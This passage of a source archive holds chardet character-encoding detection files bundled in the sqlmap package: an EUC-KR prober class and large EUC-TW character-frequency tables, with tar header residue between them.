8480,8481,8482,8483,8484,8485,8486,8487,8488,8489,8490,8491,8492,8493,8494,8495, 8496,8497,8498,8499,8500,8501,8502,8503,8504,8505,8506,8507,8508,8509,8510,8511, 8512,8513,8514,8515,8516,8517,8518,8519,8520,8521,8522,8523,8524,8525,8526,8527, 8528,8529,8530,8531,8532,8533,8534,8535,8536,8537,8538,8539,8540,8541,8542,8543, 8544,8545,8546,8547,8548,8549,8550,8551,8552,8553,8554,8555,8556,8557,8558,8559, 8560,8561,8562,8563,8564,8565,8566,8567,8568,8569,8570,8571,8572,8573,8574,8575, 8576,8577,8578,8579,8580,8581,8582,8583,8584,8585,8586,8587,8588,8589,8590,8591, 8592,8593,8594,8595,8596,8597,8598,8599,8600,8601,8602,8603,8604,8605,8606,8607, 8608,8609,8610,8611,8612,8613,8614,8615,8616,8617,8618,8619,8620,8621,8622,8623, 8624,8625,8626,8627,8628,8629,8630,8631,8632,8633,8634,8635,8636,8637,8638,8639, 8640,8641,8642,8643,8644,8645,8646,8647,8648,8649,8650,8651,8652,8653,8654,8655, 8656,8657,8658,8659,8660,8661,8662,8663,8664,8665,8666,8667,8668,8669,8670,8671, 8672,8673,8674,8675,8676,8677,8678,8679,8680,8681,8682,8683,8684,8685,8686,8687, 8688,8689,8690,8691,8692,8693,8694,8695,8696,8697,8698,8699,8700,8701,8702,8703, 8704,8705,8706,8707,8708,8709,8710,8711,8712,8713,8714,8715,8716,8717,8718,8719, 8720,8721,8722,8723,8724,8725,8726,8727,8728,8729,8730,8731,8732,8733,8734,8735, 8736,8737,8738,8739,8740,8741) # flake8: noqa sqlmap-1.2.4/thirdparty/chardet/euckrprober.py000066400000000000000000000032131326012263700215150ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import EUCKRDistributionAnalysis from .mbcssm import EUCKRSMModel class EUCKRProber(MultiByteCharSetProber): def __init__(self): MultiByteCharSetProber.__init__(self) self._mCodingSM = CodingStateMachine(EUCKRSMModel) self._mDistributionAnalyzer = EUCKRDistributionAnalysis() self.reset() def get_charset_name(self): return "EUC-KR" sqlmap-1.2.4/thirdparty/chardet/euctwfreq.py000066400000000000000000001040701326012263700212020ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # EUCTW frequency table # Converted from big5 work # by Taiwan's Mandarin Promotion Council # # 128 --> 0.42261 # 256 --> 0.57851 # 512 --> 0.74851 # 1024 --> 0.89384 # 2048 --> 0.97583 # # Idea Distribution Ratio = 0.74851/(1-0.74851) =2.98 # Random Distribution Ration = 512/(5401-512)=0.105 # # Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR EUCTW_TYPICAL_DISTRIBUTION_RATIO = 0.75 # Char to FreqOrder table , EUCTW_TABLE_SIZE = 8102 EUCTWCharToFreqOrder = ( 1,1800,1506, 255,1431, 198, 9, 82, 6,7310, 177, 202,3615,1256,2808, 110, # 2742 3735, 33,3241, 261, 76, 44,2113, 16,2931,2184,1176, 659,3868, 26,3404,2643, # 2758 1198,3869,3313,4060, 410,2211, 302, 590, 361,1963, 8, 204, 58,4296,7311,1931, # 2774 63,7312,7313, 317,1614, 75, 222, 159,4061,2412,1480,7314,3500,3068, 224,2809, # 2790 3616, 3, 10,3870,1471, 29,2774,1135,2852,1939, 873, 130,3242,1123, 312,7315, # 2806 4297,2051, 507, 252, 682,7316, 142,1914, 124, 206,2932, 34,3501,3173, 64, 604, # 2822 7317,2494,1976,1977, 155,1990, 645, 641,1606,7318,3405, 337, 72, 406,7319, 80, # 2838 630, 238,3174,1509, 263, 939,1092,2644, 756,1440,1094,3406, 449, 69,2969, 591, # 2854 179,2095, 471, 115,2034,1843, 60, 50,2970, 134, 806,1868, 734,2035,3407, 180, # 2870 995,1607, 156, 537,2893, 688,7320, 319,1305, 779,2144, 514,2374, 298,4298, 359, # 2886 2495, 90,2707,1338, 663, 11, 906,1099,2545, 20,2436, 182, 532,1716,7321, 732, # 2902 1376,4062,1311,1420,3175, 25,2312,1056, 113, 399, 382,1949, 242,3408,2467, 529, # 2918 3243, 475,1447,3617,7322, 117, 21, 656, 810,1297,2295,2329,3502,7323, 126,4063, # 2934 706, 456, 150, 613,4299, 71,1118,2036,4064, 145,3069, 85, 835, 486,2114,1246, # 2950 1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,7324,2127,2354, 347,3736, 221, # 2966 3503,3110,7325,1955,1153,4065, 83, 296,1199,3070, 192, 624, 93,7326, 822,1897, # 2982 2810,3111, 795,2064, 991,1554,1542,1592, 27, 43,2853, 859, 139,1456, 860,4300, # 2998 437, 712,3871, 164,2392,3112, 695, 211,3017,2096, 195,3872,1608,3504,3505,3618, # 3014 3873, 234, 811,2971,2097,3874,2229,1441,3506,1615,2375, 668,2076,1638, 305, 228, # 3030 1664,4301, 467, 415,7327, 262,2098,1593, 239, 108, 300, 200,1033, 512,1247,2077, # 3046 7328,7329,2173,3176,3619,2673, 593, 845,1062,3244, 88,1723,2037,3875,1950, 212, # 3062 266, 152, 149, 468,1898,4066,4302, 77, 187,7330,3018, 37, 5,2972,7331,3876, # 3078 7332,7333, 39,2517,4303,2894,3177,2078, 55, 148, 74,4304, 545, 483,1474,1029, # 3094 1665, 217,1869,1531,3113,1104,2645,4067, 24, 172,3507, 900,3877,3508,3509,4305, # 3110 32,1408,2811,1312, 329, 487,2355,2247,2708, 784,2674, 4,3019,3314,1427,1788, # 3126 188, 109, 499,7334,3620,1717,1789, 888,1217,3020,4306,7335,3510,7336,3315,1520, # 3142 3621,3878, 196,1034, 775,7337,7338, 929,1815, 249, 439, 38,7339,1063,7340, 794, # 3158 3879,1435,2296, 46, 178,3245,2065,7341,2376,7342, 214,1709,4307, 804, 35, 707, # 3174 324,3622,1601,2546, 140, 459,4068,7343,7344,1365, 839, 272, 978,2257,2572,3409, # 3190 2128,1363,3623,1423, 697, 100,3071, 48, 70,1231, 495,3114,2193,7345,1294,7346, # 3206 2079, 462, 586,1042,3246, 853, 256, 988, 185,2377,3410,1698, 434,1084,7347,3411, # 3222 314,2615,2775,4308,2330,2331, 569,2280, 637,1816,2518, 757,1162,1878,1616,3412, # 3238 287,1577,2115, 768,4309,1671,2854,3511,2519,1321,3737, 909,2413,7348,4069, 933, # 3254 3738,7349,2052,2356,1222,4310, 765,2414,1322, 786,4311,7350,1919,1462,1677,2895, # 3270 1699,7351,4312,1424,2437,3115,3624,2590,3316,1774,1940,3413,3880,4070, 309,1369, # 3286 1130,2812, 364,2230,1653,1299,3881,3512,3882,3883,2646, 525,1085,3021, 902,2000, # 3302 1475, 964,4313, 421,1844,1415,1057,2281, 940,1364,3116, 376,4314,4315,1381, 7, # 3318 2520, 983,2378, 336,1710,2675,1845, 321,3414, 559,1131,3022,2742,1808,1132,1313, # 3334 265,1481,1857,7352, 352,1203,2813,3247, 167,1089, 420,2814, 776, 792,1724,3513, # 3350 4071,2438,3248,7353,4072,7354, 446, 229, 333,2743, 901,3739,1200,1557,4316,2647, # 3366 1920, 395,2744,2676,3740,4073,1835, 125, 916,3178,2616,4317,7355,7356,3741,7357, # 3382 7358,7359,4318,3117,3625,1133,2547,1757,3415,1510,2313,1409,3514,7360,2145, 438, # 3398 2591,2896,2379,3317,1068, 958,3023, 461, 311,2855,2677,4074,1915,3179,4075,1978, # 3414 383, 750,2745,2617,4076, 274, 539, 385,1278,1442,7361,1154,1964, 384, 561, 210, # 3430 98,1295,2548,3515,7362,1711,2415,1482,3416,3884,2897,1257, 129,7363,3742, 642, # 3446 523,2776,2777,2648,7364, 141,2231,1333, 68, 176, 441, 876, 907,4077, 603,2592, # 3462 710, 171,3417, 404, 549, 18,3118,2393,1410,3626,1666,7365,3516,4319,2898,4320, # 3478 7366,2973, 368,7367, 146, 366, 99, 871,3627,1543, 748, 807,1586,1185, 22,2258, # 3494 379,3743,3180,7368,3181, 505,1941,2618,1991,1382,2314,7369, 380,2357, 218, 702, # 3510 1817,1248,3418,3024,3517,3318,3249,7370,2974,3628, 930,3250,3744,7371, 59,7372, # 3526 585, 601,4078, 497,3419,1112,1314,4321,1801,7373,1223,1472,2174,7374, 749,1836, # 3542 690,1899,3745,1772,3885,1476, 429,1043,1790,2232,2116, 917,4079, 447,1086,1629, # 3558 7375, 556,7376,7377,2020,1654, 844,1090, 105, 550, 966,1758,2815,1008,1782, 686, # 3574 1095,7378,2282, 793,1602,7379,3518,2593,4322,4080,2933,2297,4323,3746, 980,2496, # 3590 544, 353, 527,4324, 908,2678,2899,7380, 381,2619,1942,1348,7381,1341,1252, 560, # 3606 3072,7382,3420,2856,7383,2053, 973, 886,2080, 143,4325,7384,7385, 157,3886, 496, # 3622 4081, 57, 840, 540,2038,4326,4327,3421,2117,1445, 970,2259,1748,1965,2081,4082, # 3638 3119,1234,1775,3251,2816,3629, 773,1206,2129,1066,2039,1326,3887,1738,1725,4083, # 3654 279,3120, 51,1544,2594, 423,1578,2130,2066, 173,4328,1879,7386,7387,1583, 264, # 3670 610,3630,4329,2439, 280, 154,7388,7389,7390,1739, 338,1282,3073, 693,2857,1411, # 3686 1074,3747,2440,7391,4330,7392,7393,1240, 952,2394,7394,2900,1538,2679, 685,1483, # 3702 4084,2468,1436, 953,4085,2054,4331, 671,2395, 79,4086,2441,3252, 608, 567,2680, # 3718 3422,4087,4088,1691, 393,1261,1791,2396,7395,4332,7396,7397,7398,7399,1383,1672, # 3734 3748,3182,1464, 522,1119, 661,1150, 216, 675,4333,3888,1432,3519, 609,4334,2681, # 3750 2397,7400,7401,7402,4089,3025, 0,7403,2469, 315, 231,2442, 301,3319,4335,2380, # 3766 7404, 233,4090,3631,1818,4336,4337,7405, 96,1776,1315,2082,7406, 257,7407,1809, # 3782 3632,2709,1139,1819,4091,2021,1124,2163,2778,1777,2649,7408,3074, 363,1655,3183, # 3798 7409,2975,7410,7411,7412,3889,1567,3890, 718, 103,3184, 849,1443, 341,3320,2934, # 3814 1484,7413,1712, 127, 67, 339,4092,2398, 679,1412, 821,7414,7415, 834, 738, 351, # 3830 2976,2146, 846, 235,1497,1880, 418,1992,3749,2710, 186,1100,2147,2746,3520,1545, # 3846 1355,2935,2858,1377, 583,3891,4093,2573,2977,7416,1298,3633,1078,2549,3634,2358, # 3862 78,3750,3751, 267,1289,2099,2001,1594,4094, 348, 369,1274,2194,2175,1837,4338, # 3878 1820,2817,3635,2747,2283,2002,4339,2936,2748, 144,3321, 882,4340,3892,2749,3423, # 3894 4341,2901,7417,4095,1726, 320,7418,3893,3026, 788,2978,7419,2818,1773,1327,2859, # 3910 3894,2819,7420,1306,4342,2003,1700,3752,3521,2359,2650, 787,2022, 506, 824,3636, # 3926 534, 323,4343,1044,3322,2023,1900, 946,3424,7421,1778,1500,1678,7422,1881,4344, # 3942 165, 243,4345,3637,2521, 123, 683,4096, 764,4346, 36,3895,1792, 589,2902, 816, # 3958 626,1667,3027,2233,1639,1555,1622,3753,3896,7423,3897,2860,1370,1228,1932, 891, # 3974 2083,2903, 304,4097,7424, 292,2979,2711,3522, 691,2100,4098,1115,4347, 118, 662, # 3990 7425, 611,1156, 854,2381,1316,2861, 2, 386, 515,2904,7426,7427,3253, 868,2234, # 4006 1486, 855,2651, 785,2212,3028,7428,1040,3185,3523,7429,3121, 448,7430,1525,7431, # 4022 2164,4348,7432,3754,7433,4099,2820,3524,3122, 503, 818,3898,3123,1568, 814, 676, # 4038 1444, 306,1749,7434,3755,1416,1030, 197,1428, 805,2821,1501,4349,7435,7436,7437, # 4054 1993,7438,4350,7439,7440,2195, 13,2779,3638,2980,3124,1229,1916,7441,3756,2131, # 4070 7442,4100,4351,2399,3525,7443,2213,1511,1727,1120,7444,7445, 646,3757,2443, 307, # 4086 7446,7447,1595,3186,7448,7449,7450,3639,1113,1356,3899,1465,2522,2523,7451, 519, # 4102 7452, 128,2132, 92,2284,1979,7453,3900,1512, 342,3125,2196,7454,2780,2214,1980, # 4118 3323,7455, 290,1656,1317, 789, 827,2360,7456,3758,4352, 562, 581,3901,7457, 401, # 4134 4353,2248, 94,4354,1399,2781,7458,1463,2024,4355,3187,1943,7459, 828,1105,4101, # 4150 1262,1394,7460,4102, 605,4356,7461,1783,2862,7462,2822, 819,2101, 578,2197,2937, # 4166 7463,1502, 436,3254,4103,3255,2823,3902,2905,3425,3426,7464,2712,2315,7465,7466, # 4182 2332,2067, 23,4357, 193, 826,3759,2102, 699,1630,4104,3075, 390,1793,1064,3526, # 4198 7467,1579,3076,3077,1400,7468,4105,1838,1640,2863,7469,4358,4359, 137,4106, 598, # 4214 3078,1966, 780, 104, 974,2938,7470, 278, 899, 253, 402, 572, 504, 493,1339,7471, # 4230 3903,1275,4360,2574,2550,7472,3640,3029,3079,2249, 565,1334,2713, 863, 41,7473, # 4246 7474,4361,7475,1657,2333, 19, 463,2750,4107, 606,7476,2981,3256,1087,2084,1323, # 4262 2652,2982,7477,1631,1623,1750,4108,2682,7478,2864, 791,2714,2653,2334, 232,2416, # 4278 7479,2983,1498,7480,2654,2620, 755,1366,3641,3257,3126,2025,1609, 119,1917,3427, # 4294 862,1026,4109,7481,3904,3760,4362,3905,4363,2260,1951,2470,7482,1125, 817,4110, # 4310 4111,3906,1513,1766,2040,1487,4112,3030,3258,2824,3761,3127,7483,7484,1507,7485, # 4326 2683, 733, 40,1632,1106,2865, 345,4113, 841,2524, 230,4364,2984,1846,3259,3428, # 4342 7486,1263, 986,3429,7487, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562,3907, # 4358 3908,2939, 967,2751,2655,1349, 592,2133,1692,3324,2985,1994,4114,1679,3909,1901, # 4374 2185,7488, 739,3642,2715,1296,1290,7489,4115,2198,2199,1921,1563,2595,2551,1870, # 4390 2752,2986,7490, 435,7491, 343,1108, 596, 17,1751,4365,2235,3430,3643,7492,4366, # 4406 294,3527,2940,1693, 477, 979, 281,2041,3528, 643,2042,3644,2621,2782,2261,1031, # 4422 2335,2134,2298,3529,4367, 367,1249,2552,7493,3530,7494,4368,1283,3325,2004, 240, # 4438 1762,3326,4369,4370, 836,1069,3128, 474,7495,2148,2525, 268,3531,7496,3188,1521, # 4454 1284,7497,1658,1546,4116,7498,3532,3533,7499,4117,3327,2684,1685,4118, 961,1673, # 4470 2622, 190,2005,2200,3762,4371,4372,7500, 570,2497,3645,1490,7501,4373,2623,3260, # 4486 1956,4374, 584,1514, 396,1045,1944,7502,4375,1967,2444,7503,7504,4376,3910, 619, # 4502 7505,3129,3261, 215,2006,2783,2553,3189,4377,3190,4378, 763,4119,3763,4379,7506, # 4518 7507,1957,1767,2941,3328,3646,1174, 452,1477,4380,3329,3130,7508,2825,1253,2382, # 4534 2186,1091,2285,4120, 492,7509, 638,1169,1824,2135,1752,3911, 648, 926,1021,1324, # 4550 4381, 520,4382, 997, 847,1007, 892,4383,3764,2262,1871,3647,7510,2400,1784,4384, # 4566 1952,2942,3080,3191,1728,4121,2043,3648,4385,2007,1701,3131,1551, 30,2263,4122, # 4582 7511,2026,4386,3534,7512, 501,7513,4123, 594,3431,2165,1821,3535,3432,3536,3192, # 4598 829,2826,4124,7514,1680,3132,1225,4125,7515,3262,4387,4126,3133,2336,7516,4388, # 4614 4127,7517,3912,3913,7518,1847,2383,2596,3330,7519,4389, 374,3914, 652,4128,4129, # 4630 375,1140, 798,7520,7521,7522,2361,4390,2264, 546,1659, 138,3031,2445,4391,7523, # 4646 2250, 612,1848, 910, 796,3765,1740,1371, 825,3766,3767,7524,2906,2554,7525, 692, # 4662 444,3032,2624, 801,4392,4130,7526,1491, 244,1053,3033,4131,4132, 340,7527,3915, # 4678 1041,2987, 293,1168, 87,1357,7528,1539, 959,7529,2236, 721, 694,4133,3768, 219, # 4694 1478, 644,1417,3331,2656,1413,1401,1335,1389,3916,7530,7531,2988,2362,3134,1825, # 4710 730,1515, 184,2827, 66,4393,7532,1660,2943, 246,3332, 378,1457, 226,3433, 975, # 4726 3917,2944,1264,3537, 674, 696,7533, 163,7534,1141,2417,2166, 713,3538,3333,4394, # 4742 3918,7535,7536,1186, 15,7537,1079,1070,7538,1522,3193,3539, 276,1050,2716, 758, # 4758 1126, 653,2945,3263,7539,2337, 889,3540,3919,3081,2989, 903,1250,4395,3920,3434, # 4774 3541,1342,1681,1718, 766,3264, 286, 89,2946,3649,7540,1713,7541,2597,3334,2990, # 4790 7542,2947,2215,3194,2866,7543,4396,2498,2526, 181, 387,1075,3921, 731,2187,3335, # 4806 7544,3265, 310, 313,3435,2299, 770,4134, 54,3034, 189,4397,3082,3769,3922,7545, # 4822 1230,1617,1849, 355,3542,4135,4398,3336, 111,4136,3650,1350,3135,3436,3035,4137, # 4838 2149,3266,3543,7546,2784,3923,3924,2991, 722,2008,7547,1071, 247,1207,2338,2471, # 4854 1378,4399,2009, 864,1437,1214,4400, 373,3770,1142,2216, 667,4401, 442,2753,2555, # 4870 3771,3925,1968,4138,3267,1839, 837, 170,1107, 934,1336,1882,7548,7549,2118,4139, # 4886 2828, 743,1569,7550,4402,4140, 582,2384,1418,3437,7551,1802,7552, 357,1395,1729, # 4902 3651,3268,2418,1564,2237,7553,3083,3772,1633,4403,1114,2085,4141,1532,7554, 482, # 4918 2446,4404,7555,7556,1492, 833,1466,7557,2717,3544,1641,2829,7558,1526,1272,3652, # 4934 4142,1686,1794, 416,2556,1902,1953,1803,7559,3773,2785,3774,1159,2316,7560,2867, # 4950 4405,1610,1584,3036,2419,2754, 443,3269,1163,3136,7561,7562,3926,7563,4143,2499, # 4966 3037,4406,3927,3137,2103,1647,3545,2010,1872,4144,7564,4145, 431,3438,7565, 250, # 4982 97, 81,4146,7566,1648,1850,1558, 160, 848,7567, 866, 740,1694,7568,2201,2830, # 4998 3195,4147,4407,3653,1687, 950,2472, 426, 469,3196,3654,3655,3928,7569,7570,1188, # 5014 424,1995, 861,3546,4148,3775,2202,2685, 168,1235,3547,4149,7571,2086,1674,4408, # 5030 3337,3270, 220,2557,1009,7572,3776, 670,2992, 332,1208, 717,7573,7574,3548,2447, # 5046 3929,3338,7575, 513,7576,1209,2868,3339,3138,4409,1080,7577,7578,7579,7580,2527, # 5062 3656,3549, 815,1587,3930,3931,7581,3550,3439,3777,1254,4410,1328,3038,1390,3932, # 5078 1741,3933,3778,3934,7582, 236,3779,2448,3271,7583,7584,3657,3780,1273,3781,4411, # 5094 7585, 308,7586,4412, 245,4413,1851,2473,1307,2575, 430, 715,2136,2449,7587, 270, # 5110 199,2869,3935,7588,3551,2718,1753, 761,1754, 725,1661,1840,4414,3440,3658,7589, # 5126 7590, 587, 14,3272, 227,2598, 326, 480,2265, 943,2755,3552, 291, 650,1883,7591, # 5142 1702,1226, 102,1547, 62,3441, 904,4415,3442,1164,4150,7592,7593,1224,1548,2756, # 5158 391, 498,1493,7594,1386,1419,7595,2055,1177,4416, 813, 880,1081,2363, 566,1145, # 5174 4417,2286,1001,1035,2558,2599,2238, 394,1286,7596,7597,2068,7598, 86,1494,1730, # 5190 3936, 491,1588, 745, 897,2948, 843,3340,3937,2757,2870,3273,1768, 998,2217,2069, # 5206 397,1826,1195,1969,3659,2993,3341, 284,7599,3782,2500,2137,2119,1903,7600,3938, # 5222 2150,3939,4151,1036,3443,1904, 114,2559,4152, 209,1527,7601,7602,2949,2831,2625, # 5238 2385,2719,3139, 812,2560,7603,3274,7604,1559, 737,1884,3660,1210, 885, 28,2686, # 5254 3553,3783,7605,4153,1004,1779,4418,7606, 346,1981,2218,2687,4419,3784,1742, 797, # 5270 1642,3940,1933,1072,1384,2151, 896,3941,3275,3661,3197,2871,3554,7607,2561,1958, # 5286 4420,2450,1785,7608,7609,7610,3942,4154,1005,1308,3662,4155,2720,4421,4422,1528, # 5302 2600, 161,1178,4156,1982, 987,4423,1101,4157, 631,3943,1157,3198,2420,1343,1241, # 5318 1016,2239,2562, 372, 877,2339,2501,1160, 555,1934, 911,3944,7611, 466,1170, 169, # 5334 1051,2907,2688,3663,2474,2994,1182,2011,2563,1251,2626,7612, 992,2340,3444,1540, # 5350 2721,1201,2070,2401,1996,2475,7613,4424, 528,1922,2188,1503,1873,1570,2364,3342, # 5366 3276,7614, 557,1073,7615,1827,3445,2087,2266,3140,3039,3084, 767,3085,2786,4425, # 5382 1006,4158,4426,2341,1267,2176,3664,3199, 778,3945,3200,2722,1597,2657,7616,4427, # 5398 7617,3446,7618,7619,7620,3277,2689,1433,3278, 131, 95,1504,3946, 723,4159,3141, # 5414 1841,3555,2758,2189,3947,2027,2104,3665,7621,2995,3948,1218,7622,3343,3201,3949, # 5430 4160,2576, 248,1634,3785, 912,7623,2832,3666,3040,3786, 654, 53,7624,2996,7625, # 5446 1688,4428, 777,3447,1032,3950,1425,7626, 191, 820,2120,2833, 971,4429, 931,3202, # 5462 135, 664, 783,3787,1997, 772,2908,1935,3951,3788,4430,2909,3203, 282,2723, 640, # 5478 1372,3448,1127, 922, 325,3344,7627,7628, 711,2044,7629,7630,3952,2219,2787,1936, # 5494 3953,3345,2220,2251,3789,2300,7631,4431,3790,1258,3279,3954,3204,2138,2950,3955, # 5510 3956,7632,2221, 258,3205,4432, 101,1227,7633,3280,1755,7634,1391,3281,7635,2910, # 5526 2056, 893,7636,7637,7638,1402,4161,2342,7639,7640,3206,3556,7641,7642, 878,1325, # 5542 1780,2788,4433, 259,1385,2577, 744,1183,2267,4434,7643,3957,2502,7644, 684,1024, # 5558 4162,7645, 472,3557,3449,1165,3282,3958,3959, 322,2152, 881, 455,1695,1152,1340, # 5574 660, 554,2153,4435,1058,4436,4163, 830,1065,3346,3960,4437,1923,7646,1703,1918, # 5590 7647, 932,2268, 122,7648,4438, 947, 677,7649,3791,2627, 297,1905,1924,2269,4439, # 5606 2317,3283,7650,7651,4164,7652,4165, 84,4166, 112, 989,7653, 547,1059,3961, 701, # 5622 3558,1019,7654,4167,7655,3450, 942, 639, 457,2301,2451, 993,2951, 407, 851, 494, # 5638 4440,3347, 927,7656,1237,7657,2421,3348, 573,4168, 680, 921,2911,1279,1874, 285, # 5654 790,1448,1983, 719,2167,7658,7659,4441,3962,3963,1649,7660,1541, 563,7661,1077, # 5670 7662,3349,3041,3451, 511,2997,3964,3965,3667,3966,1268,2564,3350,3207,4442,4443, # 5686 7663, 535,1048,1276,1189,2912,2028,3142,1438,1373,2834,2952,1134,2012,7664,4169, # 5702 1238,2578,3086,1259,7665, 700,7666,2953,3143,3668,4170,7667,4171,1146,1875,1906, # 5718 4444,2601,3967, 781,2422, 132,1589, 203, 147, 273,2789,2402, 898,1786,2154,3968, # 5734 3969,7668,3792,2790,7669,7670,4445,4446,7671,3208,7672,1635,3793, 965,7673,1804, # 5750 2690,1516,3559,1121,1082,1329,3284,3970,1449,3794, 65,1128,2835,2913,2759,1590, # 5766 3795,7674,7675, 12,2658, 45, 976,2579,3144,4447, 517,2528,1013,1037,3209,7676, # 5782 3796,2836,7677,3797,7678,3452,7679,2602, 614,1998,2318,3798,3087,2724,2628,7680, # 5798 2580,4172, 599,1269,7681,1810,3669,7682,2691,3088, 759,1060, 489,1805,3351,3285, # 5814 1358,7683,7684,2386,1387,1215,2629,2252, 490,7685,7686,4173,1759,2387,2343,7687, # 5830 4448,3799,1907,3971,2630,1806,3210,4449,3453,3286,2760,2344, 874,7688,7689,3454, # 5846 3670,1858, 91,2914,3671,3042,3800,4450,7690,3145,3972,2659,7691,3455,1202,1403, # 5862 3801,2954,2529,1517,2503,4451,3456,2504,7692,4452,7693,2692,1885,1495,1731,3973, # 5878 2365,4453,7694,2029,7695,7696,3974,2693,1216, 237,2581,4174,2319,3975,3802,4454, # 5894 4455,2694,3560,3457, 445,4456,7697,7698,7699,7700,2761, 61,3976,3672,1822,3977, # 5910 7701, 687,2045, 935, 925, 405,2660, 703,1096,1859,2725,4457,3978,1876,1367,2695, # 5926 3352, 918,2105,1781,2476, 334,3287,1611,1093,4458, 564,3146,3458,3673,3353, 945, # 5942 2631,2057,4459,7702,1925, 872,4175,7703,3459,2696,3089, 349,4176,3674,3979,4460, # 5958 3803,4177,3675,2155,3980,4461,4462,4178,4463,2403,2046, 782,3981, 400, 251,4179, # 5974 1624,7704,7705, 277,3676, 299,1265, 476,1191,3804,2121,4180,4181,1109, 205,7706, # 5990 2582,1000,2156,3561,1860,7707,7708,7709,4464,7710,4465,2565, 107,2477,2157,3982, # 6006 3460,3147,7711,1533, 541,1301, 158, 753,4182,2872,3562,7712,1696, 370,1088,4183, # 6022 4466,3563, 579, 327, 440, 162,2240, 269,1937,1374,3461, 968,3043, 56,1396,3090, # 6038 2106,3288,3354,7713,1926,2158,4467,2998,7714,3564,7715,7716,3677,4468,2478,7717, # 6054 2791,7718,1650,4469,7719,2603,7720,7721,3983,2661,3355,1149,3356,3984,3805,3985, # 6070 7722,1076, 49,7723, 951,3211,3289,3290, 450,2837, 920,7724,1811,2792,2366,4184, # 6086 1908,1138,2367,3806,3462,7725,3212,4470,1909,1147,1518,2423,4471,3807,7726,4472, # 6102 2388,2604, 260,1795,3213,7727,7728,3808,3291, 708,7729,3565,1704,7730,3566,1351, # 6118 1618,3357,2999,1886, 944,4185,3358,4186,3044,3359,4187,7731,3678, 422, 413,1714, # 6134 3292, 500,2058,2345,4188,2479,7732,1344,1910, 954,7733,1668,7734,7735,3986,2404, # 6150 4189,3567,3809,4190,7736,2302,1318,2505,3091, 133,3092,2873,4473, 629, 31,2838, # 6166 2697,3810,4474, 850, 949,4475,3987,2955,1732,2088,4191,1496,1852,7737,3988, 620, # 6182 3214, 981,1242,3679,3360,1619,3680,1643,3293,2139,2452,1970,1719,3463,2168,7738, # 6198 3215,7739,7740,3361,1828,7741,1277,4476,1565,2047,7742,1636,3568,3093,7743, 869, # 6214 2839, 655,3811,3812,3094,3989,3000,3813,1310,3569,4477,7744,7745,7746,1733, 558, # 6230 4478,3681, 335,1549,3045,1756,4192,3682,1945,3464,1829,1291,1192, 470,2726,2107, # 6246 2793, 913,1054,3990,7747,1027,7748,3046,3991,4479, 982,2662,3362,3148,3465,3216, # 6262 3217,1946,2794,7749, 571,4480,7750,1830,7751,3570,2583,1523,2424,7752,2089, 984, # 6278 4481,3683,1959,7753,3684, 852, 923,2795,3466,3685, 969,1519, 999,2048,2320,1705, # 6294 7754,3095, 615,1662, 151, 597,3992,2405,2321,1049, 275,4482,3686,4193, 568,3687, # 6310 3571,2480,4194,3688,7755,2425,2270, 409,3218,7756,1566,2874,3467,1002, 769,2840, # 6326 194,2090,3149,3689,2222,3294,4195, 628,1505,7757,7758,1763,2177,3001,3993, 521, # 6342 1161,2584,1787,2203,2406,4483,3994,1625,4196,4197, 412, 42,3096, 464,7759,2632, # 6358 4484,3363,1760,1571,2875,3468,2530,1219,2204,3814,2633,2140,2368,4485,4486,3295, # 6374 1651,3364,3572,7760,7761,3573,2481,3469,7762,3690,7763,7764,2271,2091, 460,7765, # 6390 4487,7766,3002, 962, 588,3574, 289,3219,2634,1116, 52,7767,3047,1796,7768,7769, # 6406 7770,1467,7771,1598,1143,3691,4198,1984,1734,1067,4488,1280,3365, 465,4489,1572, # 6422 510,7772,1927,2241,1812,1644,3575,7773,4490,3692,7774,7775,2663,1573,1534,7776, # 6438 7777,4199, 536,1807,1761,3470,3815,3150,2635,7778,7779,7780,4491,3471,2915,1911, # 6454 2796,7781,3296,1122, 377,3220,7782, 360,7783,7784,4200,1529, 551,7785,2059,3693, # 6470 1769,2426,7786,2916,4201,3297,3097,2322,2108,2030,4492,1404, 136,1468,1479, 672, # 6486 1171,3221,2303, 271,3151,7787,2762,7788,2049, 678,2727, 865,1947,4493,7789,2013, # 6502 3995,2956,7790,2728,2223,1397,3048,3694,4494,4495,1735,2917,3366,3576,7791,3816, # 6518 509,2841,2453,2876,3817,7792,7793,3152,3153,4496,4202,2531,4497,2304,1166,1010, # 6534 552, 681,1887,7794,7795,2957,2958,3996,1287,1596,1861,3154, 358, 453, 736, 175, # 6550 478,1117, 905,1167,1097,7796,1853,1530,7797,1706,7798,2178,3472,2287,3695,3473, # 6566 3577,4203,2092,4204,7799,3367,1193,2482,4205,1458,2190,2205,1862,1888,1421,3298, # 6582 2918,3049,2179,3474, 595,2122,7800,3997,7801,7802,4206,1707,2636, 